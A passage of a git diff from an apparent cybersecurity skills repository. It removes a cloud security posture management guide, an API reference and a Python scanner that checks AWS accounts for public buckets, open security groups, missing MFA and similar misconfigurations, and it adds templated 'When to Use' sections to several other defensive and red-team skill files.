Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,258 +0,0 @@
---
name: building-cloud-security-posture-management
description: >
This skill guides security architects through designing and implementing a cloud
security posture management program that continuously monitors infrastructure
configurations across AWS, Azure, and GCP. It covers selecting CSPM tooling such
as Wiz, Prisma Cloud, or native services, defining policy baselines, automating
drift detection, and integrating posture findings into SOC workflows.
domain: cybersecurity
subdomain: cloud-security
tags: [cspm, cloud-misconfiguration, security-posture, drift-detection, multi-cloud-governance]
version: 1.0.0
author: mahipal
license: Apache-2.0
---
# Building Cloud Security Posture Management
## When to Use
- When an organization lacks visibility into cloud misconfigurations across multiple accounts and providers
- When compliance requirements demand continuous posture monitoring against CIS, NIST, or SOC 2 frameworks
- When security teams need to prioritize which misconfigurations to remediate based on actual risk
- When migrating workloads to the cloud and establishing security baselines before production deployment
- When integrating cloud posture findings into an existing SOC or SIEM platform
**Do not use** for runtime threat detection (see detecting-cloud-threats-with-guardduty), for application-level vulnerability scanning (see securing-serverless-functions), or for network traffic analysis (see implementing-cloud-network-segmentation).
## Prerequisites
- Cloud accounts across target providers (AWS, Azure, GCP) with read-only API access for CSPM tools
- Defined compliance framework requirements (CIS Benchmarks, NIST 800-53, PCI-DSS, SOC 2)
- SIEM or ticketing system for finding ingestion and workflow management
- Budget allocation for commercial CSPM tooling or engineering capacity for native tool integration
## Workflow
### Step 1: Assess Current Cloud Estate and Risk Appetite
Inventory all cloud accounts, subscriptions, and projects. Classify them by data sensitivity, regulatory requirements, and business criticality to determine CSPM coverage scope.
```
Cloud Estate Inventory:
+----------------+----------+------------+--------------------+------------------+
| Provider | Accounts | Workloads | Data Classification| Compliance Needs |
+----------------+----------+------------+--------------------+------------------+
| AWS | 45 | Production | Confidential | PCI-DSS, SOC 2 |
| AWS | 12 | Dev/Test | Internal | SOC 2 |
| Azure | 8 | Production | Restricted (PII) | GDPR, SOC 2 |
| GCP | 3 | Analytics | Confidential | SOC 2 |
+----------------+----------+------------+--------------------+------------------+
```
### Step 2: Select and Deploy CSPM Tooling
Evaluate CSPM solutions based on multi-cloud support, policy coverage, agentless scanning, attack path analysis, and integration capabilities.
**Native Tools:**
- AWS Security Hub CSPM with Config rules
- Microsoft Defender for Cloud CSPM
- Google Security Command Center Premium
**Commercial Platforms:**
- Wiz: Agentless, graph-based visibility, attack path analysis, highest market mindshare (20.2%)
- Prisma Cloud (now Cortex Cloud): CSPM + CWP + CIEM, 3,000+ built-in policies
- Orca Security: SideScanning technology, agentless full-stack visibility
- Lacework: Anomaly-based detection with behavioral analysis
```bash
# Example: Deploy Wiz connector for AWS using CloudFormation
aws cloudformation create-stack \
--stack-name wiz-connector \
--template-url https://wiz-advanced-security.s3.amazonaws.com/wiz-aws-connector.yaml \
--parameters ParameterKey=ExternalId,ParameterValue=<wiz-external-id> \
--capabilities CAPABILITY_NAMED_IAM
# Example: Configure Prisma Cloud AWS onboarding
# Prisma Cloud uses a cross-account IAM role for read-only access
aws iam create-role \
--role-name PrismaCloudReadOnly \
--assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::188619942792:root"},
"Action": "sts:AssumeRole",
"Condition": {"StringEquals": {"sts:ExternalId": "<prisma-external-id>"}}
}]
}'
```
### Step 3: Define Policy Baselines and Custom Rules
Map compliance framework controls to CSPM policies. Create custom rules for organization-specific requirements that go beyond standard benchmarks.
```yaml
# Example custom CSPM policy definitions
policies:
- name: s3-bucket-encryption-required
description: All S3 buckets must have AES-256 or KMS encryption enabled
provider: aws
resource_type: aws_s3_bucket
severity: HIGH
rule: |
resource.encryption.rules[0].apply_server_side_encryption_by_default.sse_algorithm
in ["aws:kms", "AES256"]
remediation: Enable default encryption on the S3 bucket using AES-256 or AWS KMS
compliance_mapping:
- CIS_AWS_v5.0: "2.1.1"
- PCI_DSS: "3.4"
- SOC2: "CC6.1"
- name: public-ip-not-attached-to-compute
description: Production compute instances must not have public IP addresses
provider: aws
resource_type: aws_ec2_instance
severity: CRITICAL
rule: |
resource.public_ip_address == null AND
resource.tags["Environment"] == "production"
remediation: Remove public IP and route traffic through a load balancer or NAT gateway
- name: storage-account-private-endpoint
description: Azure storage accounts must use private endpoints only
provider: azure
resource_type: azurerm_storage_account
severity: HIGH
rule: |
resource.network_rules.default_action == "Deny" AND
resource.private_endpoint_connections.length > 0
```
### Step 4: Automate Drift Detection and Alerting
Configure continuous scanning intervals, drift detection thresholds, and alert routing to ensure new misconfigurations are detected within minutes of resource creation or modification.
```bash
# AWS Config rule for drift detection on S3 public access
aws configservice put-config-rule \
--config-rule '{
"ConfigRuleName": "s3-bucket-public-read-prohibited",
"Source": {
"Owner": "AWS",
"SourceIdentifier": "S3_BUCKET_PUBLIC_READ_PROHIBITED"
},
"Scope": {"ComplianceResourceTypes": ["AWS::S3::Bucket"]}
}'
# Auto-remediation using SSM Automation
aws configservice put-remediation-configurations \
--remediation-configurations '[{
"ConfigRuleName": "s3-bucket-public-read-prohibited",
"TargetType": "SSM_DOCUMENT",
"TargetId": "AWS-DisableS3BucketPublicReadWrite",
"Automatic": true,
"MaximumAutomaticAttempts": 3,
"RetryAttemptSeconds": 60
}]'
```
### Step 5: Prioritize Findings with Context-Aware Risk Scoring
Move beyond severity-only prioritization. Use attack path analysis, asset context, and exploitability data to focus remediation on findings that represent actual risk.
```
Risk Prioritization Matrix:
+----------------------------+----------+-----------+--------+-------------+
| Finding | Severity | Exposed | Attack | Priority |
| | | Internet? | Path? | Score |
+----------------------------+----------+-----------+--------+-------------+
| S3 bucket public read | HIGH | Yes | Yes | CRITICAL |
| RDS no encryption at rest | HIGH | No | No | MEDIUM |
| SG allows 0.0.0.0/0:22 | HIGH | Yes | Yes | CRITICAL |
| CloudTrail not enabled | MEDIUM | No | No | HIGH |
| EBS volume not encrypted | MEDIUM | No | No | LOW |
+----------------------------+----------+-----------+--------+-------------+
```
### Step 6: Integrate with SOC Workflows and Reporting
Feed CSPM findings into SIEM platforms, create Jira tickets for remediation tracking, and build executive dashboards for posture trending.
```bash
# Export findings to Amazon Security Lake in OCSF format
aws securitylake create-subscriber \
--subscriber-name cspm-siem-integration \
--sources '[{"awsLogSource": {"sourceName": "SH_FINDINGS"}}]' \
--subscriber-identity '{"principal": "arn:aws:iam::123456789012:role/SIEMIngestionRole", "externalId": "siem-ext-id"}'
```
## Key Concepts
| Term | Definition |
|------|------------|
| CSPM | Cloud Security Posture Management: continuous monitoring service that identifies cloud infrastructure misconfigurations and compliance violations |
| Configuration Drift | Deviation from a defined security baseline that occurs when resources are modified outside of approved change management processes |
| Attack Path | A multi-step chain of misconfigurations and vulnerabilities that an adversary could exploit to move from an entry point to a critical asset |
| Agentless Scanning | CSPM approach that uses cloud provider APIs and snapshot analysis to assess security posture without installing agents on workloads |
| Policy as Code | Defining security policies in machine-readable formats (Rego, YAML, JSON) that can be version-controlled and automatically enforced |
| Compliance Framework | Structured set of security controls and requirements such as CIS Benchmarks, NIST 800-53, PCI-DSS, or SOC 2 used to measure posture |
| Security Graph | Graph database representing relationships between cloud resources, identities, network paths, and vulnerabilities for contextual risk analysis |
## Tools & Systems
- **Wiz**: Agentless CNAPP providing graph-based CSPM, attack path analysis, and vulnerability management across all major cloud providers
- **Prisma Cloud / Cortex Cloud**: Palo Alto Networks CNAPP with 3,000+ built-in policies covering CSPM, CWP, CIEM, and IaC security
- **AWS Security Hub CSPM**: Native AWS posture management with automated checks against CIS v5.0 and AWS Foundational Security Best Practices
- **Prowler**: Open-source AWS/Azure/GCP security assessment tool with 300+ checks and CIS benchmark support
- **Steampipe**: Open-source SQL-based cloud configuration querying tool supporting 140+ plugins for multi-cloud posture queries
## Common Scenarios
### Scenario: Post-Acquisition Cloud Posture Assessment
**Context**: A company acquires a startup with 30 AWS accounts and 5 GCP projects. No CSPM tooling is in place and the security team needs to assess the inherited environment within two weeks.
**Approach**:
1. Deploy an agentless CSPM tool (Wiz or Orca) using read-only cross-account roles for immediate visibility without agent installation
2. Run initial scans against CIS Benchmarks for both AWS and GCP to establish a baseline posture score
3. Identify Critical findings: publicly exposed databases, unencrypted storage with sensitive data, overprivileged service accounts
4. Prioritize attack paths that connect internet-exposed resources to data stores containing customer PII
5. Deliver an executive summary with risk-ranked findings and a 90-day remediation roadmap
6. Integrate the acquired accounts into the existing CSPM platform with continuous monitoring
**Pitfalls**: Deploying agents for the initial assessment adds weeks of delay. Using only native tools for a multi-cloud assessment creates separate dashboards and makes cross-cloud comparison difficult.
## Output Format
```
Cloud Security Posture Assessment Report
==========================================
Organization: Acme Corp
Cloud Providers: AWS (57 accounts), Azure (8 subscriptions), GCP (3 projects)
CSPM Platform: Wiz
Assessment Date: 2025-02-23
OVERALL POSTURE SCORE: 68/100
FINDINGS BY SEVERITY:
Critical: 47 (Internet-exposed + data access risk)
High: 234 (Misconfiguration with limited exposure)
Medium: 891 (Non-compliant but low immediate risk)
Low: 1,567 (Informational or best practice)
TOP ATTACK PATHS:
1. Internet -> Public S3 Bucket (PII data) -> No encryption
Affected: 3 accounts | Risk: Critical | ETA to remediate: 1 day
2. Internet -> EC2 (SSH open) -> IAM Role -> Cross-Account Admin
Affected: 1 account | Risk: Critical | ETA to remediate: 2 days
3. Internet -> Azure App Service -> SQL Server (public endpoint)
Affected: 2 subscriptions | Risk: Critical | ETA to remediate: 3 days
COMPLIANCE STATUS:
CIS AWS v5.0: 62% compliant (340/548 controls passing)
CIS Azure v4.0: 71% compliant (189/266 controls passing)
CIS GCP v4.0: 58% compliant (87/150 controls passing)
SOC 2 Type II: 74% controls mapped and passing
```
@@ -1,74 +0,0 @@
# API Reference: Building Cloud Security Posture Management
## boto3 - AWS CSPM Checks
### S3 Public Access
```python
s3 = boto3.client("s3")
pab = s3.get_public_access_block(Bucket="my-bucket")
config = pab["PublicAccessBlockConfiguration"]
```
### Unencrypted EBS Volumes
```python
ec2 = boto3.client("ec2")
for vol in ec2.describe_volumes()["Volumes"]:
if not vol["Encrypted"]:
print(f"Unencrypted: {vol['VolumeId']}")
```
### Open Security Groups
```python
for sg in ec2.describe_security_groups()["SecurityGroups"]:
for rule in sg["IpPermissions"]:
for ip in rule.get("IpRanges", []):
if ip["CidrIp"] == "0.0.0.0/0":
print(f"OPEN: {sg['GroupId']} port {rule['FromPort']}")
```
### IAM Users Without MFA
```python
iam = boto3.client("iam")
for user in iam.list_users()["Users"]:
mfa = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"]
if not mfa:
print(f"No MFA: {user['UserName']}")
```
### Public RDS Instances
```python
rds = boto3.client("rds")
for db in rds.describe_db_instances()["DBInstances"]:
if db["PubliclyAccessible"]:
print(f"Public RDS: {db['DBInstanceIdentifier']}")
```
## Key CSPM Checks
| Check | Service | boto3 Method |
|-------|---------|-------------|
| Public S3 | S3 | `get_public_access_block()` |
| Unencrypted EBS | EC2 | `describe_volumes()` |
| Open SGs | EC2 | `describe_security_groups()` |
| No MFA | IAM | `list_mfa_devices()` |
| Public RDS | RDS | `describe_db_instances()` |
| CloudTrail | CloudTrail | `describe_trails()` |
## Steampipe (SQL-Based CSPM)
```sql
select name, region, server_side_encryption_configuration
from aws_s3_bucket
where server_side_encryption_configuration is null;
```
### References
- boto3: https://boto3.amazonaws.com/v1/documentation/api/latest/
- Prowler: https://github.com/prowler-cloud/prowler
- Steampipe: https://steampipe.io/
@@ -1,158 +0,0 @@
#!/usr/bin/env python3
"""Agent for building cloud security posture management across AWS/Azure/GCP."""
import os
import json
import argparse
from datetime import datetime
import boto3
from botocore.exceptions import ClientError
def check_s3_public_buckets(session):
"""Check for publicly accessible S3 buckets."""
s3 = session.client("s3")
buckets = s3.list_buckets()["Buckets"]
findings = []
for b in buckets:
name = b["Name"]
try:
pab = s3.get_public_access_block(Bucket=name)
config = pab["PublicAccessBlockConfiguration"]
if not all([config.get("BlockPublicAcls"), config.get("IgnorePublicAcls"),
config.get("BlockPublicPolicy"), config.get("RestrictPublicBuckets")]):
findings.append({"bucket": name, "issue": "Incomplete public access block", "severity": "HIGH"})
except ClientError:
findings.append({"bucket": name, "issue": "No public access block configured", "severity": "HIGH"})
return findings
def check_unencrypted_ebs(session):
"""Check for unencrypted EBS volumes."""
ec2 = session.client("ec2")
volumes = ec2.describe_volumes()["Volumes"]
unencrypted = [
{"volume_id": v["VolumeId"], "state": v["State"], "size_gb": v["Size"]}
for v in volumes if not v.get("Encrypted")
]
return unencrypted
def check_public_security_groups(session):
"""Check for security groups allowing unrestricted inbound access."""
ec2 = session.client("ec2")
sgs = ec2.describe_security_groups()["SecurityGroups"]
findings = []
dangerous_ports = [22, 3389, 3306, 5432, 1433, 27017]
for sg in sgs:
for rule in sg.get("IpPermissions", []):
for ip_range in rule.get("IpRanges", []):
if ip_range.get("CidrIp") == "0.0.0.0/0":
from_port = rule.get("FromPort", 0)
to_port = rule.get("ToPort", 65535)
severity = "CRITICAL" if any(from_port <= p <= to_port for p in dangerous_ports) else "HIGH"
findings.append({
"sg_id": sg["GroupId"],
"sg_name": sg.get("GroupName"),
"port_range": f"{from_port}-{to_port}",
"source": "0.0.0.0/0",
"severity": severity,
})
return findings
def check_iam_users_without_mfa(session):
"""Check for IAM users without MFA enabled."""
iam = session.client("iam")
users = iam.list_users()["Users"]
no_mfa = []
for user in users:
mfa_devices = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"]
if not mfa_devices:
no_mfa.append({"username": user["UserName"], "created": str(user["CreateDate"])})
return no_mfa
def check_rds_public_access(session):
"""Check for RDS instances with public accessibility."""
rds = session.client("rds")
instances = rds.describe_db_instances()["DBInstances"]
public = [
{"instance": db["DBInstanceIdentifier"], "engine": db["Engine"], "endpoint": db.get("Endpoint", {}).get("Address", "")}
for db in instances if db.get("PubliclyAccessible")
]
return public
def check_cloudtrail_enabled(session):
"""Check if CloudTrail is enabled with multi-region logging."""
ct = session.client("cloudtrail")
trails = ct.describe_trails()["trailList"]
multiregion = [t for t in trails if t.get("IsMultiRegionTrail")]
if not multiregion:
return {"status": "FAIL", "detail": "No multi-region CloudTrail found"}
return {"status": "PASS", "trails": len(multiregion)}
def calculate_posture_score(findings_summary):
"""Calculate an overall security posture score."""
total_checks = sum(findings_summary.values())
if total_checks == 0:
return 100
critical = findings_summary.get("critical", 0)
high = findings_summary.get("high", 0)
medium = findings_summary.get("medium", 0)
deductions = (critical * 15) + (high * 8) + (medium * 3)
return max(0, 100 - deductions)
def main():
parser = argparse.ArgumentParser(description="Cloud Security Posture Management Agent")
parser.add_argument("--profile", default=os.getenv("AWS_PROFILE"))
parser.add_argument("--region", default=os.getenv("AWS_DEFAULT_REGION", "us-east-1"))
parser.add_argument("--output", default="cspm_report.json")
args = parser.parse_args()
session = boto3.Session(profile_name=args.profile, region_name=args.region)
account = session.client("sts").get_caller_identity()["Account"]
print(f"[+] CSPM scan for account {account}")
report = {"account": account, "scan_date": datetime.utcnow().isoformat(), "findings": {}}
print("[+] Checking S3 bucket public access...")
report["findings"]["s3_public"] = check_s3_public_buckets(session)
print(f" Issues: {len(report['findings']['s3_public'])}")
print("[+] Checking unencrypted EBS volumes...")
report["findings"]["unencrypted_ebs"] = check_unencrypted_ebs(session)
print(f" Unencrypted: {len(report['findings']['unencrypted_ebs'])}")
print("[+] Checking public security groups...")
report["findings"]["public_sgs"] = check_public_security_groups(session)
print(f" Open rules: {len(report['findings']['public_sgs'])}")
print("[+] Checking IAM users without MFA...")
report["findings"]["no_mfa_users"] = check_iam_users_without_mfa(session)
print(f" Without MFA: {len(report['findings']['no_mfa_users'])}")
print("[+] Checking public RDS instances...")
report["findings"]["public_rds"] = check_rds_public_access(session)
print(f" Public: {len(report['findings']['public_rds'])}")
print("[+] Checking CloudTrail...")
report["findings"]["cloudtrail"] = check_cloudtrail_enabled(session)
critical = sum(1 for f in report["findings"].get("public_sgs", []) if f.get("severity") == "CRITICAL")
high = len(report["findings"]["s3_public"]) + len(report["findings"]["no_mfa_users"])
medium = len(report["findings"]["unencrypted_ebs"])
report["posture_score"] = calculate_posture_score({"critical": critical, "high": high, "medium": medium})
print(f"\n[+] Posture Score: {report['posture_score']}/100")
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"[+] Report saved to {args.output}")
if __name__ == "__main__":
main()
@@ -15,6 +15,14 @@ license: Apache-2.0
Splunk Search Processing Language (SPL) is the primary query language used in Splunk Enterprise Security for building correlation searches that detect suspicious events and patterns. A well-crafted detection rule aggregates, correlates, and enriches security events to generate actionable notable events for SOC analysts. Enterprise SIEMs on average cover only 21% of MITRE ATT&CK techniques, making skilled SPL rule writing essential for closing detection gaps.
## When to Use
- When deploying or configuring building detection rule with splunk spl capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Splunk Enterprise Security (ES) deployed and configured
@@ -15,6 +15,14 @@ license: Apache-2.0
GitLab provides an integrated DevSecOps platform that embeds security testing directly into the CI/CD pipeline. By leveraging GitLab's built-in security scanners---SAST, DAST, container scanning, dependency scanning, secret detection, and license compliance---teams can shift security left, catching vulnerabilities during development rather than post-deployment. GitLab Duo AI assists with false positive detection for SAST vulnerabilities, helping security teams focus on genuine issues.
## When to Use
- When deploying or configuring building devsecops pipeline with gitlab ci capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- GitLab Ultimate license (required for full security scanner suite)
@@ -15,6 +15,21 @@ license: Apache-2.0
Timesketch is an open-source collaborative forensic timeline analysis tool developed by Google that enables security teams to visualize and analyze chronological data from multiple sources during incident investigations. It ingests logs and artifacts from endpoints, servers, and cloud services, normalizes them into a unified searchable timeline, and provides powerful analysis capabilities including built-in analyzers, tagging, sketch annotations, and story building. Timesketch integrates with Plaso (log2timeline) for artifact parsing and supports direct CSV/JSONL ingestion for rapid timeline construction during active incidents.
## When to Use
- When deploying or configuring building incident timeline with timesketch capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Familiarity with incident response concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Architecture and Components
### Core Components
@@ -15,6 +15,21 @@ license: Apache-2.0
Effective communication during malware incidents is critical for coordinated response, stakeholder management, and regulatory compliance. A structured communication framework ensures the right people receive appropriate information at the right time, preventing panic while maintaining transparency. Communication templates should cover internal escalation, executive briefings, technical advisories for IT teams, customer notifications, regulatory disclosures, and media statements. The framework must account for different malware types (ransomware, wiper, trojan, worm) and severity levels that drive escalation speed and audience.
## When to Use
- When deploying or configuring building malware incident communication template capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Familiarity with incident response concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Communication Framework
### Severity Classification
@@ -15,6 +15,14 @@ license: Apache-2.0
Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.
## When to Use
- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
@@ -15,6 +15,21 @@ license: Apache-2.0
A SOC escalation matrix defines how security incidents move through the organization based on severity, impact, and response requirements. Modern SOCs use context-driven escalation combining business risk, asset criticality, and data sensitivity rather than purely severity-based models. Organizations using AI and automation in their SOC cut detection-and-containment lifecycle to approximately 161 days, an 80-day improvement over the 241-day industry average.
## When to Use
- When deploying or configuring building soc escalation matrix capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Familiarity with soc operations concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## SOC Tier Structure
### Tier 1 - Alert Triage Analyst
@@ -15,6 +15,14 @@ license: Apache-2.0
Splunk's Threat Intelligence Framework in Enterprise Security enables SOC teams to automatically correlate indicators of compromise (IOCs) against security events. The framework ingests threat feeds, normalizes indicators into KV Store collections, and uses lookup-based correlation searches to flag matching events. Splunk Threat Intelligence Management centralizes collection, normalization, and enrichment from multiple sources, reducing triage time by providing analysts with immediate context.
## When to Use
- When deploying or configuring building threat intelligence enrichment in splunk capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Splunk Enterprise Security (ES) 7.x or later
@@ -15,6 +15,14 @@ license: Apache-2.0
DefectDojo is an open-source application vulnerability management platform that aggregates findings from 200+ security tools, deduplicates results, tracks remediation progress, and provides executive dashboards. It serves as a central hub for vulnerability management, integrating with CI/CD pipelines, Jira for ticketing, and Slack for notifications. DefectDojo supports OWASP-based categorization and provides REST API for automation.
## When to Use
- When deploying or configuring building vulnerability dashboard with defectdojo capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Docker and Docker Compose
@@ -15,6 +15,14 @@ license: Apache-2.0
A vulnerability exception tracking system manages cases where vulnerabilities cannot be remediated within SLA timelines. It provides structured workflows for requesting exceptions, documenting compensating controls, obtaining risk acceptance approvals, and automatically expiring exceptions when their validity period ends. This ensures organizations maintain visibility into accepted risks while complying with frameworks like PCI DSS, SOC 2, and NIST CSF.
## When to Use
- When deploying or configuring building vulnerability exception tracking system capabilities in your environment
- When establishing security controls aligned to compliance requirements
- When building or improving security architecture for this domain
- When conducting security assessments that require this implementation
## Prerequisites
- Python 3.9+ with `flask`, `sqlalchemy`, `requests`, `jinja2`
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
